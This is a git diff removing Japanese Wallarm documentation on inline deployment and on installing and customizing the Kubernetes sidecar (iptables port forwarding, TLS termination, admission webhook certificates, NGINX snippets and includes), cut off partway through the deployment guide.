`/etc/nginx/wallarm-status.conf`（Wallarmノードの監視設定。詳細は[リンク][wallarm-status-instr]にあります） - -以下に、必要に応じて適用できる代表的な設定をいくつか示します。 - -* [フィルタリングモードの設定][waf-mode-instr] -* [Wallarmノードへのリソース割り当て][memory-instr] -* [Wallarmノード変数のログ出力][logging-instr] -* [フィルタリングノード背後のプロキシサーバーのバランサーを使用する][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`で単一リクエストの処理時間を制限する][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`でサーバー応答の待機時間を制限する](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`で最大リクエストサイズを制限する](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINXでの動的DNS解決の設定][dynamic-dns-resolution-nginx] - -## 起動オプション - ---8<-- "../include/waf/installation/all-in-one/launch-options.md" - -## インストールを最初からやり直す - -Wallarmノードのインストールを削除して最初からやり直す必要がある場合は、以下の手順に従ってください。 - -!!! warning "インストールのやり直しによる影響" - インストールをやり直すと、稼働中のWallarmサービスを停止して削除することになり、再インストールが完了するまでトラフィックのフィルタリングが一時停止します。本番環境や重要なトラフィックを扱う環境では、トラフィックがフィルタリングされずリスクが生じるため、注意してください。 - - 既存ノードをアップグレードする場合（例: 4.10から5.0）は、[アップグレード手順][upgrade-docs]を参照してください。 - -1. Wallarmプロセスを終了し、設定ファイルを削除します: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` -1. [手順2](#step-2-prepare-wallarm-token)のセットアップ手順に従って、再インストールを続行します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/inline/overview.md b/docs/latest-ja/installation/inline/overview.md deleted file mode 100644 index 9e867b408b..0000000000 --- a/docs/latest-ja/installation/inline/overview.md +++ /dev/null @@ -1,91 +0,0 @@ -# Wallarmノードのインラインデプロイ - -Wallarmはインラインでデプロイでき、リアルタイムに脅威を軽減できます。この場合、保護対象APIへのトラフィックはAPIに到達する前にWallarmノードインスタンスを経由します。ノードがインラインでありエンドユーザーにとって唯一の経路である限り、攻撃者がWallarmノードを迂回する余地はありません。本記事ではこのアプローチを詳しく説明します。 - -Wallarmノードインスタンスはクライアントとサーバーの間に配置され、受信トラフィックを解析し、不正リクエストを軽減し、正当なリクエストを保護対象サーバーへ転送します。 - -## ユースケース - -Wallarmのインラインソリューションは次のユースケースに適しています。 - -* SQLi、XSSインジェクション、API悪用、ブルートフォースなどの不正リクエストをアプリケーションサーバーに到達する前に軽減します。 -* システムのアクティブなセキュリティ脆弱性を把握し、アプリケーションコードを修正する前に仮想パッチを適用します。 -* APIインベントリを可視化し、機密データを追跡します。 - -## 利点と特有の要件 - -Wallarmのインラインデプロイ手法は、[OOB](../oob/overview.md)デプロイなど他の方式に比べていくつかの利点があります。 - -* トラフィック解析がリアルタイムに行われるため、不正リクエストを即時にブロックします。 -* 受信リクエストとサーバーレスポンスの両方にアクセスできるため、[API Discovery](../../api-discovery/overview.md)や[脆弱性の検出](../../about-wallarm/detecting-vulnerabilities.md)を含むすべてのWallarm機能が制限なく動作します。 - -インライン方式を実装するには、インフラストラクチャ内のトラフィック経路を変更する必要があります。さらに、サービスを中断なく提供できるよう、Wallarmノードの[リソース割り当て](../../admin-en/configuration-guides/allocate-resources-for-node.md)を慎重に検討してください。 - -本番環境でAWSやGCPなどのパブリッククラウド上にWallarmノードをデプロイする場合、最適なパフォーマンス、スケーラビリティ、回復性を確保するため、適切に構成されたオートスケーリンググループの使用が必要です（[AWS](../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md)または[GCP](../../admin-en/installation-guides/google-cloud/autoscaling-overview.md)の記事を参照してください）。 - -## デプロイモデルとサポートされるデプロイ方法 - -Wallarmをインラインでデプロイする際には、以下の一般的なモデルを検討できます。 - -* Wallarm Security Edge -* コンピュートインスタンス上でのセルフホスト型ノードのデプロイ -* Kubernetes上でのセルフホスト型ノードのデプロイ - -インフラストラクチャの要件に基づいて、デプロイモデルと方法を選択できます。適切なデプロイモデルと方法の選定に支援が必要な場合は、[営業チーム](mailto:sales@wallarm.com)までお気軽にお問い合わせのうえ、インフラストラクチャに関する追加情報をご提供ください。お客様に合わせたガイダンスをご案内します。 - -### Wallarm Security Edgeの実行 - -Security Edgeプラットフォームは、Wallarmがホストする環境内の地理的に分散したロケーションにノードをデプロイするためのマネージドサービスを提供します。[詳細はこちら](../security-edge/inline/overview.md) - -### コンピュートインスタンス上でWallarmを実行する - -このモデルでは、Wallarmをインフラストラクチャ内の仮想アプライアンスとしてデプロイします。仮想アプライアンスはVM、コンテナ、またはクラウドインスタンスとしてインストールできます。 - -Wallarmノードをデプロイする際、ネットワークトポロジ内のさまざまな場所に柔軟に配置できます。推奨アプローチは、ノードインスタンスをパブリックロードバランサーの背後（バックエンドサービスの前段）またはプライベートロードバランサーの背後（通常バックエンドサービスの前段）に配置することです。次の図は、この構成における典型的なトラフィックフローを示します。 - -![インラインフィルタリングの構成](../../images/waf-installation/inline/wallarm-inline-deployment-scheme.png) - -ロードバランサーはL4とL7の2種類に分類できます。ロードバランサーの種類によりSSLオフロードの扱いが決まり、既存インフラストラクチャにWallarmを統合する際の重要な要素になります。 - -* L4ロードバランサーを使用する場合、一般的にSSLオフロードはロードバランサー背後のWebサーバーや、Wallarmインスタンス以外のインフラ手段で処理されます。ただし、Wallarmノードをデプロイする際は、Wallarmインスタンス側でSSLオフロードを構成する必要があります。 -* L7ロードバランサーを使用する場合、一般的にSSLオフロードはロードバランサー自体が処理し、Wallarmノードは平文HTTPを受け取ります。 - -コンピュートインスタンス上でWallarmを実行するために、以下のアーティファクトおよびソリューションを提供します。 - -**Amazon Web Services (AWS)** - -* [AMI](compute-instances/aws/aws-ami.md) -* [ECS](compute-instances/aws/aws-ecs.md) -* Terraformモジュール： - * [AWS VPC内のプロキシ](compute-instances/aws/terraform-module-for-aws-vpc.md) - * [Amazon API Gateway向けプロキシ](compute-instances/aws/terraform-module-for-aws-api-gateway.md) - -**Google Cloud Platform (GCP)** - -* [マシンイメージ](compute-instances/gcp/machine-image.md) -* [GCE](compute-instances/gcp/gce.md) - -**Microsoft Azure** - -* [Azure Container Instances](compute-instances/azure/docker-image.md) - -**Alibaba Cloud** - -* [ECS](compute-instances/alibaba/docker-image.md) - -**Dockerイメージ** - -* [NGINXベース](compute-instances/docker/nginx-based.md) - -**Linuxパッケージ** - -* [オールインワンインストーラー](compute-instances/linux/all-in-one.md) - -### Kubernetes上でWallarmを実行する - -コンテナオーケストレーションにKubernetesを利用している場合、WallarmはKubernetesネイティブなソリューションとしてデプロイできます。Ingressやサイドカーのコントローラーなどの機能を活用し、Kubernetesクラスターにシームレスに統合します。 - -Kubernetes上でWallarmを実行するために、以下のアーティファクトおよびソリューションを提供します。 - -* [NGINX Ingressコントローラー](../../admin-en/installation-kubernetes-en.md) -* [サイドカーコントローラー](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-ja/installation/kubernetes/sidecar-proxy/customization.md b/docs/latest-ja/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 8fc83d5281..0000000000 --- a/docs/latest-ja/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,411 +0,0 @@ -# Wallarm Sidecarのカスタマイズ - -本記事では、[Wallarm Kubernetes Sidecarソリューション](deployment.md)を安全かつ効果的にカスタマイズする方法を、一般的なカスタマイズユースケースの例とともに説明します。 - -## 設定範囲 - -Wallarm Sidecarソリューションは標準のKubernetesコンポーネントに基づいているため、ソリューションの設定は概ねKubernetesスタックの設定に類似しています。Wallarm Sidecarソリューションは、`values.yaml`によるグローバル設定と、アプリケーションPod単位のアノテーションによる設定の両方が可能です。 - -### グローバル設定 - -グローバルな設定オプションは、Wallarmコントローラが作成するすべてのSidecarリソースに適用され、[既定のHelmチャートの値](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml)で定義されています。`helm install`または`helm upgrade`の実行時に、独自の`values.yaml`を指定することで上書きできます。 - -利用可能なグローバル設定オプションの数に制限はありません。結果のPodを完全に変更できてしまうため、カスタマイズの際には注意が必要で、設定を誤るとソリューションが適切に機能しなくなる可能性があります。グローバル設定を変更する際は、HelmおよびKubernetesのドキュメントを参照してください。 - -[Wallarm固有のチャート値の一覧はこちらです](helm-chart-for-wallarm.md) - -### Pod単位の設定 - -Pod単位の設定により、特定のアプリケーションに対するソリューションの挙動をカスタマイズできます。 - -アプリケーションPod単位の設定は、アプリケーションPodのアノテーションで行います。アノテーションはグローバル設定より優先されます。同じオプションがグローバル設定とアノテーションの両方で指定されている場合は、アノテーションの値が適用されます。 - -サポートされるアノテーションの種類は限定されていますが、`nginx-*-include`および`nginx-*-snippet`アノテーションを使用すると、任意の[カスタムNGINX設定をソリューションで利用できます](#using-custom-nginx-configuration)。 - -[サポートされるPod単位のアノテーション一覧はこちらです](pod-annotations.md) - -## 設定ユースケース - -前述のとおり、本ソリューションはインフラやセキュリティ要件に合わせて多様な方法でカスタマイズできます。ここでは、関連するベストプラクティスを踏まえつつ、一般的なカスタマイズ例を解説します。 - -### コンテナの単一/分割デプロイメント - -Wallarmは、PodへのWallarmコンテナのデプロイ方式として次の2つを提供します。 - -* 単一デプロイメント（既定） -* 分割デプロイメント - -![単一/分割コンテナ][single-split-containers-img] - -コンテナのデプロイ方式は、グローバル設定とPod単位の設定の両方で指定できます。 - -* グローバル: Helmチャート値`config.injectionStrategy.schema`を`single`（既定）または`split`に設定します。 -* Pod単位: 対象アプリケーションPodのアノテーション`sidecar.wallarm.io/sidecar-injection-schema`に`"single"`または`"split"`を設定します。 - -!!! info "Postanalyticsモジュール" - Postanalyticsモジュールのコンテナは[別コンテナとして実行されます](deployment.md#solution-architecture)。ここで説明するデプロイ方式は他のコンテナにのみ関係します。 - -#### 単一デプロイメント（既定） - -単一デプロイメントでは、任意の**iptables**を実行するinitコンテナを除き、Pod内で実行されるWallarmコンテナは1つだけです。 - -結果として、次の2つのコンテナが実行されます。 - -* `sidecar-init-iptables`はiptablesを実行するinitコンテナです。既定ではこのコンテナは起動しますが、[無効化](#capturing-incoming-traffic-port-forwarding)できます。 -* `sidecar-proxy`は、Wallarmモジュール付きのNGINXプロキシといくつかのヘルパーサービスを実行します。これらのプロセスはすべて[supervisord](http://supervisord.org/)によって実行・管理されます。 - -#### 分割デプロイメント - -分割デプロイメントでは、2つのinitコンテナに加えて、さらに2つのコンテナがPod内で実行されます。 - -このオプションでは、すべてのヘルパーサービスを`sidecar-proxy`コンテナから分離し、そのコンテナではNGINXサービスのみを起動します。 - -分割デプロイメントにより、NGINXとヘルパーサービスが消費するリソースをより細かく制御できます。CPU/Memory/Storageなどのリソースや名前空間をWallarmコンテナとヘルパーコンテナで分離する必要がある高負荷アプリケーションに推奨されるオプションです。 - -結果として、次の4つのコンテナが実行されます。 - -* `sidecar-init-iptables`はiptablesを実行するinitコンテナです。既定ではこのコンテナは起動しますが、[無効化](#capturing-incoming-traffic-port-forwarding)できます。 -* `sidecar-init-helper`は、WallarmノードをWallarm Cloudに接続する役割のヘルパーサービスを含むinitコンテナです。 -* `sidecar-proxy`はNGINXサービスを含むコンテナです。 -* `sidecar-helper`はいくつかのその他のヘルパーサービスを含むコンテナです。 - -### アプリケーションコンテナポートの自動検出 - -保護対象のアプリケーションのポートはさまざまな方法で設定できます。受信トラフィックを適切に処理・転送するには、Wallarm sidecarがアプリケーションコンテナが受信要求を受け付けるTCPポートを把握している必要があります。 - -既定では、sidecarコントローラは次の優先順位でポートを自動検出します。 - -1. `sidecar.wallarm.io/application-port`というPodのアノテーションでポートが定義されている場合、Wallarmコントローラはその値を使用します。 -1. アプリケーションコンテナの設定に`name: http`としてポートが定義されている場合、Wallarmコントローラはその値を使用します。 -1. `name: http`としてのポート定義がない場合、アプリケーションコンテナの設定で最初に見つかったポートの値を使用します。 -1. アプリケーションコンテナの設定にポート定義がない場合、WallarmコントローラはWallarm Helmチャートの`config.nginx.applicationPort`の値を使用します。 - -アプリケーションコンテナポートの自動検出が期待どおりに動作しない場合は、1または4の方法で明示的にポートを指定してください。 - -### 受信トラフィックの捕捉（ポートフォワーディング） - -既定では、Wallarm sidecarコントローラは次のようにトラフィックをルーティングします。 - -1. 接続されたPodのIPとアプリケーションコンテナのポートに到達する受信トラフィックを捕捉します。 -1. 組み込みのiptables機能を使用して、このトラフィックをsidecarコンテナへリダイレクトします。 -1. Sidecarが悪意のあるリクエストを軽減し、正当なトラフィックをアプリケーションコンテナへ転送します。 - -受信トラフィックの捕捉は、iptablesを実行するinitコンテナを用いて実装されています。これは自動ポートフォワーディングのベストプラクティスです。このコンテナは特権モードで、`NET_ADMIN`ケイパビリティを付与して実行します。 - -![iptablesを用いた既定のポートフォワーディング][port-forwarding-with-iptables-img] - -ただし、Istioのようなサービスメッシュとはこの方式は互換性がありません。Istioはすでにiptablesベースのトラフィック捕捉を実装しているためです。この場合はiptablesを無効化でき、ポートフォワーディングは次のように機能します。 - -![iptablesなしのポートフォワーディング][port-forwarding-without-iptables-img] - -!!! info "保護されないアプリケーションコンテナ" - iptablesを無効化すると、公開されているアプリケーションコンテナはWallarmで保護されなくなります。その結果、攻撃者にコンテナのIPアドレスとポートが知られている場合は、悪意のある「east-west」トラフィックがアプリケーションコンテナに到達する可能性があります。 - - east/westトラフィックとは、Kubernetesクラスター内を流れるトラフィック（例: サービス間通信）です。 - -既定の挙動は次のとおり変更できます。 - -1. 次のいずれかの方法でiptablesを無効化します。 - - * グローバル: Helmチャート値`config.injectionStrategy.iptablesEnable`を`"false"`に設定します。 - * Pod単位: Podのアノテーション`sidecar.wallarm.io/sidecar-injection-iptables-enable`を`"false"`に設定します。 -2. Serviceのマニフェストで`spec.ports.targetPort`設定を`proxy`ポートを指すように更新します。 - - iptablesベースのトラフィック捕捉を無効化すると、Wallarm sidecarコンテナは`proxy`という名前のポートを公開します。Kubernetes Serviceからの受信トラフィックを`proxy`ポートへ流すために、Serviceのマニフェスト内の`spec.ports.targetPort`設定をこのポートを指すように指定する必要があります。 - -```yaml hl_lines="16-17 34" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 ---- -apiVersion: v1 -kind: Service -metadata: - name: myapp-svc - namespace: default -spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp -``` - -### SSL/TLS終端 - -既定では、SidecarソリューションはHTTPトラフィックのみを受け付け、プレーンHTTPトラフィックをアプリケーションPodへ転送します。SSL/TLS終端は、sidecarソリューションの前段にあるインフラコンポーネント（IngressやApplication Gatewayなど）で行われ、sidecarソリューションがプレーンHTTPを処理できる前提になっています。 - -ただし、既存インフラがSSL/TLS終端をサポートしていない場合があります。そのような場合は、Wallarm sidecar側でSSL/TLS終端を有効化できます。この機能はHelmチャート4.6.1からサポートされています。 - -!!! warning "SidecarソリューションはSSLまたはプレーンHTTPのいずれかのみを処理します" - Wallarm Sidecarソリューションは、SSL/TLSまたはプレーンHTTPのいずれか一方のトラフィック処理をサポートします。SSL/TLS終端を有効化すると、sidecarソリューションはプレーンHTTPトラフィックを処理しなくなり、逆にSSL/TLS終端を無効化するとHTTPSトラフィックのみが処理されます。 - -SSL/TLS終端を有効化するには: - -1. SidecarがSSL/TLSを終端する対象サーバに対応するサーバ証明書（公開鍵）と秘密鍵を取得します。 -1. アプリケーションPodのNamespace内で、サーバ証明書と秘密鍵を含む[TLS Secret](https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets)を作成します。 -1. Secretをマウントするために、`values.yaml`に`config.profiles`セクションを追加します。以下の例は複数の証明書マウント構成を示しています。 - - コメントに基づいてコードを調整し、要件に合わせてください。証明書が1つだけ必要な場合は、不要なマウント構成を削除してください。 - - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" # EU Cloudを使用する場合は空文字にします - # その他のWallarm設定 https://docs.wallarm.com/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm/ - profiles: - tls-profile: # 任意のTLSプロファイル名を設定します - sidecar: - volumeMounts: - - name: nginx-certs-example-com # example.comの鍵を含むボリューム名 - mountPath: /etc/nginx/certs/example.com # コンテナ内でexample.comの鍵をマウントするパス - readOnly: true - - name: nginx-certs-example-io # example.ioの鍵を含むボリューム名 - mountPath: /etc/nginx/certs/example.io # コンテナ内でexample.ioの鍵をマウントするパス - readOnly: true - volumes: - - name: nginx-certs-example-com # example.comの鍵を含むボリューム名 - secret: - secretName: example-com-certs # example.comバックエンド用に作成したSecret名（公開鍵と秘密鍵を含む） - - name: nginx-certs-example-io # example.ioの鍵を含むボリューム名 - secret: - secretName: example-io-certs # example.ioバックエンド用に作成したSecret名（公開鍵と秘密鍵を含む） - nginx: - # TLS/SSL終端手順に合わせたNGINX SSLモジュールの設定です。 - # https://nginx.org/en/docs/http/ngx_http_ssl_module.html を参照してください。 - # Sidecarがトラフィックの終端を行うために必要な設定です。 - servers: - - listen: "ssl http2" - include: - - "server_name example.com www.example.com" - - "ssl_protocols TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.com/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.com/tls.key" - - "ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384" - - "ssl_conf_command Ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256" - - listen: "ssl" - include: - - "server_name example.io www.example.io" - - "ssl_protocols TLSv1.2 TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.io/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.io/tls.key" - ``` -1. 次のコマンドで`values.yaml`の変更をSidecarソリューションに適用します。 - - ```bash - helm upgrade wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f values.yaml - ``` -1. アプリケーションPodに`sidecar.wallarm.io/profile: tls-profile`アノテーションを[適用](pod-annotations.md#how-to-use-annotations)します。 -1. 設定を適用後、[こちら](deployment.md#step-4-test-the-wallarm-sidecar-operation)の手順に従って、HTTPをHTTPSに置き換えて動作をテストできます。 - -SidecarソリューションはTLS/SSLトラフィックを受け付けて終端し、プレーンHTTPトラフィックをアプリケーションPodへ転送します。 - -### admission webhook用の証明書 - -リリース4.10.7以降、admission webhook用の証明書を独自に発行して利用できるようになりました。 - -既定では、ソリューションは[`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen)を使用してadmission webhook用の証明書を自動生成します。 - -独自の証明書を使用するには、次のオプションがあります。 - -* cert-managerの使用: クラスターで[`cert-manager`](https://cert-manager.io/)を使用しており、admission webhookの証明書生成にもそれを用いたい場合は、`values.yaml`を次のように更新します。 - - これにより`certgen`は自動的に無効化されます。 - - ```yaml - controller: - admissionWebhook: - certManager: - enabled: true - ``` -* 手動アップロード: 次の設定を`values.yaml`に追加して証明書を手動でアップロードできます。これにより`certgen`は自動的に無効化されます。 - - ```yaml - controller: - admissionWebhook: - secret: - enabled: true - ca: - crt: - key: - ``` - -バージョン4.10.6以前からアップグレードする場合は、[特定のアップグレード手順][sidecar-upgrade-docs]に従ってください。この更新には破壊的変更が含まれており、ソリューションの再インストールが必要です。 - -### 追加のNGINXモジュールの有効化 - -Wallarm sidecarのDockerイメージには、以下の追加NGINXモジュールが含まれていますが、既定では無効です。 - -* [ngx_http_brotli_filter_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_brotli_static_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_geoip2_module.so](https://github.com/leev/ngx_http_geoip2_module) - -追加モジュールは、Podのアノテーション`sidecar.wallarm.io/nginx-extra-modules`を設定することで、Pod単位でのみ有効化できます。 - -アノテーション値の形式は配列です。以下は追加モジュールを有効化した例です。 - -```yaml hl_lines="16-17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/nginx-extra-modules: "['ngx_http_brotli_filter_module.so','ngx_http_brotli_static_module.so', 'ngx_http_opentracing_module.so']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### カスタムNGINX設定の使用 - -特定のNGINX設定に対応する[Podアノテーション](pod-annotations.md)がない場合、Pod単位の「スニペット」と「インクルード」で設定できます。 - -#### スニペット - -スニペットは、NGINX設定に1行の変更を加えるのに便利な方法です。より複雑な変更には、[インクルード](#include)の使用を推奨します。 - -スニペットでカスタム設定を指定するには、以下のPod単位のアノテーションを使用します。 - -| NGINX設定セクション | アノテーション | -|----------------------|---------------------------------------------| -| http | `sidecar.wallarm.io/nginx-http-snippet` | -| server | `sidecar.wallarm.io/nginx-server-snippet` | -| location | `sidecar.wallarm.io/nginx-location-snippet` | - -[`disable_acl`][disable-acl-directive-docs]というNGINXディレクティブの値を変更するアノテーションの例です。 - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/nginx-location-snippet: "disable_acl on" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -複数のディレクティブを指定するには、`;`記号を使用します。例: - -```yaml -sidecar.wallarm.io/nginx-location-snippet: "disable_acl on;wallarm_timeslice 10" -``` - -#### インクルード - -Wallarm sidecarコンテナに追加のNGINX設定ファイルをマウントするには、そのファイルから[ConfigMapを作成](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files)するか、[Secretリソース](https://kubernetes.io/docs/concepts/configuration/secret/#creating-a-secret)を作成し、コンテナ内でそのリソースを使用します。 - -ConfigMapまたはSecretリソースを作成したら、以下のPod単位のアノテーションを使用して、[VolumeおよびVolumeMountsコンポーネント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)経由でコンテナにマウントできます。 - -| 項目 | アノテーション | 値の型 | -|---------------|------------------------------------------------|-------------| -| Volumes | `sidecar.wallarm.io/proxy-extra-volumes` | JSON | -| Volume mounts | `sidecar.wallarm.io/proxy-extra-volume-mounts` | JSON | - -リソースをコンテナにマウントしたら、対応するアノテーションでマウントしたファイルのパスを渡すことで、設定を追加するNGINXのコンテキストを指定します。 - -| NGINX設定セクション | アノテーション | 値の型 | -|----------------------|---------------------------------------------|------------| -| http | `sidecar.wallarm.io/nginx-http-include` | Array | -| server | `sidecar.wallarm.io/nginx-server-include` | Array | -| location | `sidecar.wallarm.io/nginx-location-include` | Array | - -以下は、マウントした設定ファイルをNGINX設定の`http`レベルでインクルードする例です。この例では、事前に`nginx-http-include-cm`というConfigMapが作成され、有効なNGINX設定ディレクティブを含んでいることを前提としています。 - -```yaml hl_lines="16-19" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-extra-volumes: '[{"name": "nginx-http-extra-config", "configMap": {"name": "nginx-http-include-cm"}}]' - sidecar.wallarm.io/proxy-extra-volume-mounts: '[{"name": "nginx-http-extra-config", "mountPath": "/nginx_include/http.conf", "subPath": "http.conf"}]' - sidecar.wallarm.io/nginx-http-include: "['/nginx_include/http.conf']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Wallarm機能の設定 - -上記の一般的なソリューション設定に加えて、[Wallarmによる攻撃防止のベストプラクティス][wallarm-attack-prevention-best-practices-docs]もぜひご確認ください。 - -この設定は、[アノテーション](pod-annotations.md)およびWallarm Console UIで行います。 - -## アノテーションによるその他の設定 - -上記の設定ユースケースに加え、さまざまなアノテーションを用いて、アプリケーションPod向けのWallarm sidecarソリューションを細かく調整できます。 - -[サポートされるPod単位のアノテーション一覧はこちらです](pod-annotations.md) \ No newline at end of file diff --git a/docs/latest-ja/installation/kubernetes/sidecar-proxy/deployment.md b/docs/latest-ja/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 9f0ac3beba..0000000000 --- a/docs/latest-ja/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,438 +0,0 @@ -# Wallarm Sidecarのデプロイ - -KubernetesクラスターでPodとしてデプロイされたアプリケーションを保護するには、NGINXベースのWallarmノードをサイドカーコントローラーとしてアプリケーションの前段で実行できます。Wallarmサイドカーコントローラーは、正当なリクエストのみを許可し、不正なリクエストを軽減することで、アプリケーションPodへの受信トラフィックをフィルタリングします。 - -Wallarm Sidecarソリューションの**主な特長**: - -* アプリケーションに近いデプロイ形式を提供することで、個々のマイクロサービスおよびそのレプリカやシャードの保護を容易にします -* あらゆるIngressコントローラーと完全な互換性があります -* サービスメッシュ方式で一般的な高負荷環境下でも安定して動作します -* アプリの保護に必要なサービス設定は最小限です。保護したいアプリケーションPodにいくつかのアノテーションとラベルを追加するだけです -* Wallarmコンテナのデプロイには2つのモードをサポートします。中程度の負荷向けにWallarmサービスを1つのコンテナで実行するモードと、高負荷向けにWallarmサービスを複数コンテナに分割するモードです -* Wallarm Sidecarソリューションのローカルデータ分析バックエンドであり、メモリ使用量の多くを占めるpostanalyticsモジュール向けに専用のエンティティを提供します - -## ユースケース - -サポートされている[Wallarmのデプロイオプション][deployment-platform-docs]の中でも、本ソリューションは次の**ユースケース**に推奨されます: - -* 既存のIngressコントローラー（例: AWS ALB Ingress Controller）が稼働しているインフラに導入できるセキュリティソリューションを探しており、[Wallarm NGINXベースのIngress Controller][nginx-ing-controller-docs]や[Kong Ingress Controller向けWallarmコネクター][kong-ing-controller-docs]のデプロイができない場合 -* 各マイクロサービス（内部APIを含む）をセキュリティソリューションで保護する必要があるゼロトラスト環境 - -## トラフィックフロー - -Wallarm Sidecarにおけるトラフィックフロー: - -![Wallarm Sidecarでのトラフィックフロー][traffic-flow-with-wallarm-sidecar-img] - -## ソリューションアーキテクチャ - -Wallarm Sidecarソリューションは、次のDeploymentオブジェクトで構成します: - -* **Sidecar controller**（`wallarm-sidecar-controller`）は、Helmチャートの値およびPodのアノテーションに基づいてPodにWallarmのサイドカーリソースをインジェクトし、ノードコンポーネントをWallarm Cloudに接続する[Mutating Admission Webhook](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#admission-webhooks)です。 - - `wallarm-sidecar: enabled`というラベルが付いた新しいPodがKubernetesで起動すると、コントローラーは受信トラフィックをフィルタリングする追加コンテナを自動的にそのPodにインジェクトします。 -* **Postanalyticsモジュール**（`wallarm-sidecar-postanalytics`）は、Wallarm Sidecarソリューションのローカルデータ分析バックエンドです。モジュールはインメモリストレージのwstoreと、攻撃エクスポートサービスなどの補助コンテナ群を使用します。 - -![Wallarmのデプロイオブジェクト][sidecar-deployment-objects-img] - -Wallarm Sidecarのライフサイクルには標準で2つのステージがあります: - -1. **初期**ステージでは、コントローラーがHelmチャートの値およびPodアノテーションに基づいてPodにWallarmのサイドカーリソースをインジェクトし、ノードコンポーネントをWallarm Cloudに接続します。 -1. **実行時**ステージでは、ソリューションがリクエストを解析し、postanalyticsモジュールを介してプロキシ/転送します。 - -本ソリューションはAlpine Linuxをベースとし、Alpineが提供するNGINXバージョンを使用したDockerイメージを利用します。現在の最新イメージはAlpine Linux 3.22を使用しており、安定版NGINX 1.28.0が含まれます。 - -## 要件 - ---8<-- "../include/waf/installation/sidecar-proxy-reqs-latest.md" - -## デプロイ - -Wallarm Sidecarソリューションをデプロイするには: - -1. フィルタリングノードトークンを生成します。 -1. WallarmのHelmチャートをデプロイします。 -1. アプリケーションPodにWallarm Sidecarをアタッチします。 -1. Wallarm Sidecarの動作をテストします。 - -### ステップ1: フィルタリングノードトークンを生成する - -Sidecar PodをWallarm Cloudに接続するため、[適切な種類][node-token-types]のフィルタリングノードトークンを生成します: - -=== "APIトークン" - 1. Wallarm Console → **Settings** → **API tokens**を[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)で開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 -=== "ノードトークン" - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のいずれかで、Wallarm Console → **Nodes**を開きます。 - 1. **Wallarm node**タイプでフィルタリングノードを作成し、生成されたトークンをコピーします。 - - ![Wallarmノードの作成][create-wallarm-node-img] - -### ステップ2: WallarmのHelmチャートをデプロイする - -1. [Wallarmチャートリポジトリ](https://charts.wallarm.com/)を追加します: - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` -1. Wallarm Sidecarの設定を含む`values.yaml`ファイルを作成します。最小構成の例を以下に示します。 - - APIトークンを使用する場合は、`nodeGroup`パラメータにノードグループ名を指定します。Sidecar Pod用に作成されたノードはこのグループに割り当てられ、Wallarm 